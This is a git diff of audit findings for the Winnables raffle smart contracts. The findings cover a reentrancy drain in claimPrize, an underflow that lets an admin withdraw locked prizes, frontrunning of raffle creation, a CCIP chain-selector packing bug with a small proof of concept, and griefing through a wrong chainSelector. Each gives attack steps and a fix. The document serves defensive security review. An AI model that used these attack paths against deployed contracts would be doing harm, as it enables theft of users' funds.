+https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434 + +```javascript +@> function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { +@> _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +we can see that anyone can call the `cancelRaffle` function, and the `checkShouldcancel` function is returning/passing if the status is `PRIZE_LOCKED` + +```javascript + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +@> if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` + +## Tool used +Manual Review + +## Recommendation +Introduce a delay or time-lock mechanism between setting the PRIZE_LOCKED status and allowing any raffle-related actions, such as cancellation. This would reduce the likelihood of front-running by bots or malicious actors. \ No newline at end of file diff --git a/001/461.md b/001/461.md new file mode 100644 index 0000000..b01124a --- /dev/null +++ b/001/461.md @@ -0,0 +1,74 @@ +Teeny Marmalade Ladybug + +High + +# A malicious winner can drain `WinnablesPrizeManager` contract funds by exploiting the `claimPrize` function + +### Summary + +The lack of a proper reentrancy guard or CEI pattern in the `WinnablesPrizeManager::claimPrize` function will cause a complete drain of contract funds for the Winnables protocol as a malicious raffle winner repeatedly calls the function to claim ETH prizes before the state is updated. + +### Root Cause + +In [`WinnablesPrizeManager.sol:105`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124), `rafflePrize.status` variable is updated only after the funds have been transferred to the winner. In the case of an ETH-based raffle, the contract uses `call` to transfer funds to the winner’s address, which allows an attacker to exploit this by calling back into the `claimPrize` function and claiming the prize multiple times. This could enable the attacker to drain all the ETH in the `WinnablesPrizeManager` contract. + +### Internal pre-conditions + +1. A malicious user wins a raffle. +2. It is ETH-based raffle. + +### External pre-conditions + +A malicious user deploys a contract that can join the raffles and perform reentrant calls. + +### Attack Path + +1. A malicious user deploys a smart contract that can interact with `WinnablesTicketManager` contract and perform reentrant calls. +2. The attacker wins an ETH-based raffle. +3. The attacker invokes `claimPrize` from their malicious contract. +4. The `claimPrize` function sends ETH to the attacker's contract address via `call` before updating the `RafflePrizeStatus` to `CLAIMED`. +5. The malicious contract recursively calls `claimPrize` again from `receive` before the state is updated. +6. Steps 4 and 5 repeat, draining the ETH from the `WinnablesPrizeManager` contract until depletion. + +### Impact + +The Winnables protocol suffers a complete loss of all ETH held in the `WinnablesPrizeManager` contract. The malicious actor gains all the ETH in the contract, while other legitimate winners are unable to claim their prizes. + +### PoC + +_No response_ + +### Mitigation + +Add these lines of code in `WinnablesPrizeManager::claimPrize`: +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; +++ if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) +++ revert AlreadyClaimed(); +++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { + _tokensLocked[raffle.tokenAddress] -= raffle.amount; + } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { + _ethLocked -= _ethRaffles[raffleId]; + } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); +-- if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +-- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) +-- revert AlreadyClaimed(); +-- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` \ No newline at end of file diff --git a/001/462.md b/001/462.md new file mode 100644 index 0000000..ded7608 --- /dev/null +++ b/001/462.md @@ -0,0 +1,75 @@ +Blunt Smoke Crane + +High + +# Malicious admin can withdraw a reward he staked, even if a raffle is not cancaled + +### Summary + +In the readme of the contest it is explicitly stated that admins are not fully trusted: *Winnables admins cannot do anything to prevent a winner from withdrawing their prize*. However this invariant can be easily broken by a malicious admin. Admins should always provide some quantity of LINK tokens in the ``WinnablesPrizeManager.sol`` contract, as LINK is required for sending CCIP messages. However LINK can also be locked as a reward for a raffle via the [lockTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L196-L213) function. Keep in mind that the LINK token is fully compliant with the ERC20 standard but has some additional functionality, which has nothing to do with the vulnerability described in this report. As per the updated readme *We are supposed to support all 100% valid ERC20 tokens + USDC and USDT.* When the [lockTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L196-L213) function is called: +```solidity + function lockTokens( + address ticketManager, + uint64 chainSelector, + uint256 raffleId, + address token, + uint256 amount + ) external onlyRole(0) { + RafflePrize storage rafflePrize = _checkValidRaffle(raffleId); + uint256 tokenBalance = IERC20(token).balanceOf(address(this)); + if (tokenBalance < amount + _tokensLocked[token]) revert InvalidPrize(); + rafflePrize.raffleType = RaffleType.TOKEN; + unchecked { _tokensLocked[token] += amount; } + _tokenRaffles[raffleId].tokenAddress = token; + _tokenRaffles[raffleId].amount = amount; + + _sendCCIPMessage(ticketManager, chainSelector, abi.encodePacked(raffleId)); + emit TokenPrizeLocked(raffleId, token, amount); + } +``` +the **_tokensLocked[token] mapping** is increased with the rewards for the raffle, as can be seen from the code snippet above. +However in the [withdrawToken()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L218-L224) function there is a subtraction in an unchecked block: +```solidity + function withdrawToken(address token, uint256 amount) external onlyRole(0) { + uint256 tokenBalance = IERC20(token).balanceOf(address(this)); + uint256 availableBalance; + unchecked { availableBalance = tokenBalance - _tokensLocked[token]; } + if (availableBalance < amount) revert InsufficientBalance(); + IERC20(token).safeTransfer(msg.sender, amount); + } +``` +Consider the following scenario. If the admin has deposited some LINK tokens in the contract, so CCIP messages can be send, and then creates a raffle where the reward is in LINK tokens for example **10_000e18** LINK tokens, he can first withdraw all the link he has sent in the contract for fees via the [withdrawToken()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L218-L224) function, then start another raffle so the total balance of LINK in the contract drops below the ***_tokensLocked[token]** for the LINK token and an underflow can occur. Then when the admin calls the [withdrawToken()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L218-L224) function again, lets say there is **9_999e18** LINK tokens left in the contract, he can freely withdraw **9_998e18** LINK tokens. Thus when the winner of the raffle is propagated from the ``WinnablesTicketManager.sol`` contract, and tries to call the [claimPrize()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124) function in order to claim his reward, he won't be able to as the admin will already have withdrawn the LINK tokens, and the [claimPrize()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124) function will revert. When a winner is successfully propagated, the admin can withdraw the proceeds from tickets that the users bought in the ``WinnablesTicketManager.sol`` contract, thus effectively breaking core invariant of the protocol and stealing money from the users of the protocol. + + +### Root Cause + +There is a subtraction in an unchecked block in the [withdrawToken()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L218-L224) function. + +### Internal pre-conditions + +1. Admin deposits LINK tokens to the ``WinnablesManager.sol`` contract in order to pay for the CCIP messages. +2. Admin creates a raffle via the [lockTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L196-L213) function where the reward is in LINK tokens. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Admin deposits **1e18** LINK tokens to the ``WinnablesManager.sol`` contract in order to pay for the CCIP messages plus additional **10_000e18** LINK tokens to use for a raffle reward. +2. Admin creates a raffle with ID 1 via the [lockTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L196-L213) function where the reward is in LINK tokens, the reward is **10_000e18** LINK tokens. +3. The malicious admin first calls the [withdrawToken()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L218-L224) function in order to withdraw the **1e18** LINK he deposited for fees, considering that when the admin called the [lockTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L196-L213) function a CCIP message was sent, for which the fee was paid in LINK tokens the balance of LINK tokens in the contract will be less than **10_000e18** LINK tokens. For simplicity lets say that currently the ``WinnablesPrizeManager.sol`` contract holds **9_999e18** LINK tokens. +4. The admin can call the [withdrawToken()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L218-L224) function again and withdraw **9_998e18** LINK tokens, effectively stealing the rewards from the winner of the raffle. +5. Once a winner is drawn and propagated to the ``WinnablesPrizeManager.sol`` contract, the admin will be able to withdraw all of the proceeds from the bought tickets in the ``WinnablesTicketManager.sol`` contract. + +### Impact + +A malicious admin can withdraw the reward for a raffle, if the reward is in LINK tokens because of an underflow in the [withdrawToken()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L218-L224) function, breaking a core vulnerability of the protocol and effectively stealing rewards from the potential winner of the raffle, thus the high severity. + +### PoC + +_No response_ + +### Mitigation + +Remove the unchecked block in the [withdrawToken()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L218-L224) function, just subtract the values so the function reverts if an underflow occurs. \ No newline at end of file diff --git a/001/463.md b/001/463.md new file mode 100644 index 0000000..22dbdf7 --- /dev/null +++ b/001/463.md @@ -0,0 +1,38 @@ +Bumpy Plastic Bee + +Medium + +# CreateRaffle() can be DoS by frontrunning + +## Summary +CreateRaffle() can be DoS by frontrunning + +## Vulnerability Detail +Admin creates raffle in tokenManager:createRaffle() when prize for that raffle is locked ie PRIZE_LOCKED. Also a user can cancel a raffle using cancelRaffle() & it doesn't revert when status of the raffle is PRIZE_LOCKED +```solidity +function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); +... + } +``` +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +--> if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; +... + } +``` +This is where a malicious user will frontrun the createRaffle() by cancelRaffle(). cancelRaffle() will not revert as status of raffle is PRIZE_LOCKED. This will mark the status of raffle to be CANCELED, so when createRaffle() will execute, it will revert due to status error + +## Impact +CreateRaffle() can be DoS every time admin tries to create raffle + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278 + +## Tool used +VS code + +## Recommendation +Add check that doesn't allow canceling PRIZE_LOKED raffle before starting \ No newline at end of file diff --git a/001/464.md b/001/464.md new file mode 100644 index 0000000..381a746 --- /dev/null +++ b/001/464.md @@ -0,0 +1,98 @@ +Active Coal Lynx + +Medium + +# Incorrect Bitwise Operation in _packCCIPContract Leading to Accepting CCIP Messages from Unsupported Chains + +### Summary + +The `_packCCIPContract` function in the BaseCCIPContract contract incorrectly handles the `chainSelector` parameter. Due to the `chainSelector` being `uint64`, the value is shifted out of range when it's left-shifted by 160 before it's casted to uint256, resulting in it being set to zero. This would allow smart contracts in the unsupported chains to make calls to the Winnables smart contracts. Basically, `_packCCIPContract` function returns the same value regardless of the `chainSelector`. + +Additionally, the data is incorrectly packed into the higher-order side of the `bytes32`, which could lead to compatibility issues in the future with other smart contrats when interpreting the packed data. + +### Root Cause + + In [BaseCCIPContract:40](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L40) the `chainSelector` parameter is not cast to uint256 before applying the left bitwise shift by 160 bits, causing the value to be zeroed out. This is because `chainSelector` is of type uint64 and left-shifting a 64 bit number by a number larger than 64 will always result in value to be zeroed out. + + In [BaseCCIPContract:40](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L40) , there's also another issue with order of data in the packed bytes32. +In Ethereum, strings and bytes are padded on the lower-order (right) side with zero-bytes, +while other types (such as numbers and addresses) are padded on the higher-order side. +As an example, this is how we would store the string "abcd" in one full word (32 bytes): + +0x6162636400000000000000000000000000000000000000000000000000000000 + +This is how the number 0x61626364 would be stored: + +0x0000000000000000000000000000000000000000000000000000000061626364 + +Right now, the data is stored on the higher-order side. Example: +`0x ` + +The contract address starts at the 96th bit and spans 160 bits. Instead of [0..159] as mentioned [in the comments](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L12). +Currently, the first [0..95] bits are chainSelector and the next [96.. 255] bits are contractAddress. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +1. Winnables admin needs to whitelist a contract address via setCCIPCounterpart and there must be a smart contract deployed at the same address in an unsupported chain (any chain other than ETH and Avalanche). +2. That smart contract should be able to make external calls to the Winnables contracts in the supported chains via CCIP. + +### Attack Path + +1. Attacker uses the "whitelisted" (done via setCCIPCounterpart) contract address in an unsupported chain (e.g. Base) to make CCIP calls to WinnablesTicketManager in Avalanche. Note that different contracts can be deployed at the same addressed in different chains. +2. `_packCCIPContract` function in the `_ccipReceive` function returns a valid address due to the issue explained above. +3. The attacker can alter the raffle state unexpectedly via CCIP messages from unsupported chains. + +### Impact + +The raffle state can be altered incorrectly via CCIP messages from unsupported chains. + +### PoC + +1. Using Foundry framework's chisel tool, paste the following function: +```Solidity + function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + uint256(chainSelector << 160) + ); + } +``` +2. Now call the function with random arguments and notice the return value: +```Bash +$> _packCCIPContract(address(0x31313131),0x5678) + +Type: bytes32 +└ Data: 0x0000000000000000000000000000000000000000000000000000000031313131 +``` + +3. Now call the same function with the same address but different chainSelector and notice the same data is returned: +```Bash +$> _packCCIPContract(address(0x31313131),0x1234) + +Type: bytes32 +└ Data: 0x0000000000000000000000000000000000000000000000000000000031313131 +``` + + +### Mitigation + +Cast `chainSelector` to `uint256` before the bitwise shift operation: + +```Solidity + function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + uint256(uint256(chainSelector) << 160) + ); + } +``` + +For the second issue, update the comments to reflect the correct packed bytes32 bit mapping : +```Text + /// [0..95] uint64 sourceChainSelector + /// [96..255] address sourceContract +``` \ No newline at end of file diff --git a/001/465.md b/001/465.md new file mode 100644 index 0000000..3917a21 --- /dev/null +++ b/001/465.md @@ -0,0 +1,59 @@ +Polite Canvas Eagle + +High + +# `claimPrize` in `WinnablesPrizeManager` is prone to re-entrance attacks which can be abused by the winners of a raffle. + +## Summary +`claimPrize` in `WinnablesPrizeManager` is prone to re-entrance attacks which can be abused by the winners of a raffle. + +## Vulnerability Detail +Look at the`claimPrize` function: + +```solidity + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` + +When the RaffleType is ETH, `_sendETHPrize` is called: + +```solidity + function _sendETHPrize(uint256 amount, address winner) internal { + (bool success, ) = winner.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +``` + +The problem is if the winner(msg.sender) is a smart contract, when it receives ETH, its fallback function can again call the `claimPrize` function, and keep draining the `WinnablesPrizeManager` of its `_ethLocked` until it becomes 0. This happens because the checks and updates to the `RafflePrizeStatus` status are made after the `_sendETHPrize` function is called, hence prone to re-entrance attacks. + +`rafflePrize.status = RafflePrizeStatus.CLAIMED;` is set to CLAIMED after the `_sendETHPrize` function is called. Had it been done before `_sendETHPrize` function, it would not have been possible to carry these attacks. + +## Impact +High. Allows the winner of one raffle to eat into the ETH meant for other raffle winners, preventing other raffle winners from claiming their prize. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105 + +## Tool used +Manual Review + +## Recommendation +Use a re-entrant modifier and follow the CEI pattern here. \ No newline at end of file diff --git a/001/466.md b/001/466.md new file mode 100644 index 0000000..aadc39d --- /dev/null +++ b/001/466.md @@ -0,0 +1,97 @@ +Soft Gingham Panther + +High + +# Reentrancy Vulnerability in claimPrize Function Allows Multiple Prize Claims + +## Summary +The claimPrize function in the WinnablesPrizeManager contract is vulnerable to a reentrancy attack. This vulnerability allows an attacker to claim an ETH prize multiple times before the prize status is updated, potentially draining the contract of more funds than intended. + +## Vulnerability Detail +The vulnerability exists because the claimPrize function performs external calls (ETH transfers) before updating the prize status to CLAIMED. This order of operations violates the Checks Effects Interactions(CEI) pattern, creating a window for reentrancy. +An attacker can exploit this by creating a malicious contract that repeatedly calls claimPrize within its receive function, allowing multiple claims before the status is updated. + +## Impact +The impact of this vulnerability is severe. It allows an attacker to: + +- Claim the same prize multiple times. +- Drain more ETH from the contract than they are entitled to. +- Potentially empty the contract of all its ETH, affecting other users' prizes. + +This could lead to significant financial losses for the protocol and undermine the integrity of the raffle system. + +## Code Snippet +[Reference](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L122) +Function from Code(WinnablesPrizeManager.sol 105-125): +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + + + // checks and status update occur after the external call + + + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` + +## Tool used + +Manual Review + +## Recommendation +To fix this vulnerability, implement the following changes: +- Implement a reentrancy guard using OpenZeppelin's ReentrancyGuard or a similar mechanism. +- Follow the Checks-Effects-Interactions pattern strictly: + - [ ] Perform all checks at the beginning of the function. + - [ ] Update the contract state (including setting the prize status to CLAIMED) before making any external calls. + + +Here's an example of how the function could be refactored: +```solidity +import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; + +contract WinnablesPrizeManager is ReentrancyGuard { + + function claimPrize(uint256 raffleId) external nonReentrant { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + + rafflePrize.status = RafflePrizeStatus.CLAIMED; + RaffleType raffleType = rafflePrize.raffleType; + + if (raffleType == RaffleType.ETH) { + uint256 amount = _ethRaffles[raffleId]; + unchecked { _ethLocked -= amount; } + _sendETHPrize(amount, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + // ... [token transfer logic] + } else if (raffleType == RaffleType.NFT) { + // ... [NFT transfer logic] + } else { + revert InvalidRaffle(); + } + + emit PrizeClaimed(raffleId, msg.sender); + } +} +``` +These changes ensure that the contract state is updated before any external calls are made, and the reentrancy guard prevents multiple entries into the function, effectively mitigating the reentrancy vulnerability. \ No newline at end of file diff --git a/001/467.md b/001/467.md new file mode 100644 index 0000000..4a8ea87 --- /dev/null +++ b/001/467.md @@ -0,0 +1,66 @@ +Tall Brown Goose + +Medium + +# Malicious admin can prevent winner from claiming prize + +## Summary + +Admin can prevent winner from claiming prize of a raffle - because the prize amount was non-existant in the first place. + +## Vulnerability Detail + +Tokens used as raffle prize are transferred to the `WinnablesPrizeManager.sol` contract in a separate transaction than `lockTokens`. As a safety check - the balance of the contract is checked in `lockTokens` (see code snippet). However - this check can be manipulated by providing the contract with flash-loaned tokens. + +This inflates the token amount REALLY stored on the contract. Because the prize amount stored is non-existant - the winner can not withdraw it from the contract. + +We would not submit this issue if it were not for this line explicitly stated in contest details: +`Winnables admins cannot do anything to prevent a winner from withdrawing their prize`. + +Here we provide an open path for an admin to prevent a drawn winner from claiming his prize. + +## POC + +1. Admin flash loans an X amount of tokens then transfer it to `WinnablesPrizeManager.sol` contract. +2. Admin calls `lockTokens` with X amount as argument. +3. There is an inflated/non-existant amount stored as the raffle prize. +4. Admin transfers the tokens back to the flash-loan provider. +5. After a while, winner is drawn. However, there is not a prize amount on the contract for him to claim. + +## Impact + +Winner can not claim his prize - because it is not on the `WInnablesPrizeManager.sol` contract. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L204C1-L204C71 + +## Tool used + +Manual Review + +## Recommendation + +Tokens meant for prize distribution should be transferred in the `lockTokens` function: + +```solidity + function lockTokens( + address ticketManager, + uint64 chainSelector, + uint256 raffleId, + address token, + uint256 amount + ) external onlyRole(0) { + RafflePrize storage rafflePrize = _checkValidRaffle(raffleId); + IERC20(token).safeTransferFrom(msg.sender, address(this), amount); // @audit added this line + uint256 tokenBalance = IERC20(token).balanceOf(address(this)); + if (tokenBalance < amount + _tokensLocked[token]) revert InvalidPrize(); + rafflePrize.raffleType = RaffleType.TOKEN; + unchecked { _tokensLocked[token] += amount; } + _tokenRaffles[raffleId].tokenAddress = token; + _tokenRaffles[raffleId].amount = amount; + + _sendCCIPMessage(ticketManager, chainSelector, abi.encodePacked(raffleId)); + emit TokenPrizeLocked(raffleId, token, amount); + } +``` \ No newline at end of file diff --git a/001/468.md b/001/468.md new file mode 100644 index 0000000..a9f8b06 --- /dev/null +++ b/001/468.md @@ -0,0 +1,47 @@ +Lively Coconut Panther + +High + +# Attacker Can Pass A ChainSelector Of His Choice Breaking The Core Mechanism + +## Summary + +Attacker can call the `propagateRaffleWinner` with a chainSelector of his choice ( a valid chainSelector provided but of a chain that winnable don't support , then the message will be sent to that chain) and grief the actual winner , the winner would never receive the prize. + +## Vulnerability Detail + +1.) Assume the raffle is completed and the random number has been decided and set , + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L357 + +2.) Now anyone can call `propagateRaffleWinner()` , our attacker calls this and provides an incorrect `chainSelector` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334 + +3.) The reason for providing an incorrect chainSelector is that the message would be sent to the prizeManager contract but on a different chain , meaning the actual prize manager of winnable would never receive this message. + +4.) Now this message has been sent to a completely different chain and the function `_sendCCIPMessage` does not verify if it's the correct chainSelector , the Raffle status is set to propagated -> + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L337 + +The actual "winner" was not assigned in the prize manager contract due to this . + +5.) Therefore , now `propagateRaffleWinner` cannot be called again for this raffle (L336), meaning the actual winner will never be assigned for this raffle in the prize manager. + +6.) Winner has lost his rewards. + +## Impact + +Attacker can call the propagateRaffleWinner with a chainSelector of his choice and grief the actual winner , the winner would never receive the prize. The prizes would be locked forever in the ticket manager. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334 + +## Tool used + +Manual Review + +## Recommendation + +Verify the correct chainSelector has been passed. \ No newline at end of file diff --git a/001/470.md b/001/470.md new file mode 100644 index 0000000..96f4422 --- /dev/null +++ b/001/470.md @@ -0,0 +1,122 @@ +Plain Mahogany Vulture + +Medium + +# Perpetual frontrunning of raffle creation leading to inability to create raffles and CCIP fee token loss + +## Summary + +Creating a raffle is a two-step process. First, the Admin locks the prize (NFTs, Tokens, or ETH) in the `WinnablesPrizeManager` contract, which then sends a CCIP message to the `WinnablesTicketManager`, incurring a cost in tokens. After this, the Admin creates the raffle in the `WinnablesTicketManager` contract. A raffle can be canceled if it reaches its end time without surpassing the minimum ticket threshold, and this cancellation can be initiated by anyone. + +However, there's a potential issue: if the Admin locks a prize but hasn't yet created the raffle, users can exploit this by frontrunning the `createRaffle` transaction, effectively preventing the Admin from creating the raffle. Additionally, when a raffle is canceled, the `WinnablesTicketManager` sends a CCIP message back to the `WinnablesPrizeManager`, further incurring costs in tokens. This exploit could lead to unnecessary expenses and disrupt the raffle creation process. +## Vulnerability Detail + +The `cancelRaffle()` function in `WinnablesTicketManager.sol` is designed to cancel a raffle in two scenarios: +* When the raffle has finished but did not meet the required ticket threshold. +* When the prize has been locked in the `WinnablesPrizeManager` contract, but the raffle has not yet been created. + +This function can be called by anyone, and there is no verification of the caller in either scenario. The second scenario would prevent the Admin to successfully create a raffle because of the check on line `#264` +`if (raffle.status != RaffleStatus.PRIZE_LOCKED) revert PrizeNotLocked();` as status would be already `CANCELED`. + +```solidity +function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` + +While the described scenario is indeed a DoS of a single block, it's important to highlight that each operation—specifically the combination of locking a prize and then canceling the raffle—incurs message fees due to the CCIP messages sent between the `WinnablesPrizeManager` and `WinnablesTicketManager` contracts. Although the DoS impact is limited to a single block, the repeated triggering of this process can lead to a significant cumulative loss of tokens for the protocol + +Lets examine the billing mechanism for CCIP Messages to get an idea of the protocol losses by each frontrunned transaction. +Source: https://docs.chain.link/ccip/billing + +The total fee for sending a CCIP message is calculated as follows: +`fee = blockchain fee + network fee` + +For our example, the blockchain fee consists solely of the execution cost, as data availability cost is zero since both chains involved are Layer 1 (L1). The execution cost is determined by: + +`blockchain fee = execution cost + data availability cost` + +`execution cost = gas price * gas usage * gas multiplier` + +`gas usage = gas limit + destination gas overhead` + `destination gas per payload` + `gas for token transfers` + +In this case, let's simplify by assuming that the destination gas overhead, destination gas per payload, gas for token transfers, and gas multiplier are all zero, leaving us with: + +`gas usage = gas limit = 200 000 (default value)` + +Given the average gas price on Ethereum at the time of writing is 5 gwei: + +At the time of writing the report average gas price in Ethereum is `5 gwei` (gas price is calculated on the destination chain) + +`execution cost` = `200 000` * `5 gwei` =`1 000 000 gwei` +which makes `0.001 ETH` ~ `2.60$` (with 